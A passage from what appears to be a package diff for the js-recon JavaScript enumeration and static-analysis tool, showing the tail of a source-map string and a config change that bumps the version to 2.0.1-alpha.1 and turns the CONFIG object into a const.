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"}

package/build/globalConfig.js

@@ -1,9 +1,9 @@
 const githubURL = "https://github.com/js-recon/js-recon";
 const modulesDocs = "https://js-recon.io/docs/category/modules";
-const version = "1.4.3";
+const version = "2.0.1-alpha.1";
 const toolDesc = "JavaScript Enumeration and SAST";
 const axiosNonHttpMethods = ["isAxiosError"]; // methods available in axios, which are not for making HTTP requests
-let CONFIG = {
+const CONFIG = {
     github: githubURL,
     modulesDocs: modulesDocs,
     notFoundMessage: `If you believe this is an error or is a new technology, please create an issue on ${githubURL} and we'll figure it out for you`,

package/build/globalConfig.js.map

@@ -1 +1 @@
-{"version":3,"file":"globalConfig.js","sourceRoot":"","sources":["../src/globalConfig.ts"],"names":[],"mappings":"AAAA,MAAM,SAAS,GAAG,sCAAsC,CAAC;AACzD,MAAM,WAAW,GAAG,2CAA2C,CAAC;AAChE,MAAM,OAAO,GAAG,OAAO,CAAC;AACxB,MAAM,QAAQ,GAAG,iCAAiC,CAAC;AACnD,MAAM,mBAAmB,GAAG,CAAC,cAAc,CAAC,CAAC,CAAC,qEAAqE;AAEnH,IAAI,MAAM,GAAG;IACT,MAAM,EAAE,SAAS;IACjB,WAAW,EAAE,WAAW;IACxB,eAAe,EAAE,qFAAqF,SAAS,kCAAkC;IACjJ,OAAO,EAAE,OAAO;IAChB,QAAQ,EAAE,QAAQ;IAClB,mBAAmB,EAAE,mBAAmB;IACxC,QAAQ,EAAE,GAAG,SAAS,oBAAoB;CAC7C,CAAC;AAEF,eAAe,MAAM,CAAC"}
+{"version":3,"file":"globalConfig.js","sourceRoot":"","sources":["../src/globalConfig.ts"],"names":[],"mappings":"AAAA,MAAM,SAAS,GAAG,sCAAsC,CAAC;AACzD,MAAM,WAAW,GAAG,2CAA2C,CAAC;AAChE,MAAM,OAAO,GAAG,eAAe,CAAC;AAChC,MAAM,QAAQ,GAAG,iCAAiC,CAAC;AACnD,MAAM,mBAAmB,GAAG,CAAC,cAAc,CAAC,CAAC,CAAC,qEAAqE;AAEnH,MAAM,MAAM,GAAG;IACX,MAAM,EAAE,SAAS;IACjB,WAAW,EAAE,WAAW;IACxB,eAAe,EAAE,qFAAqF,SAAS,kCAAkC;IACjJ,OAAO,EAAE,OAAO;IAChB,QAAQ,EAAE,QAAQ;IAClB,mBAAmB,EAAE,mBAAmB;IACxC,QAAQ,EAAE,GAAG,SAAS,oBAAoB;CAC7C,CAAC;AAEF,eAAe,MAAM,CAAC"}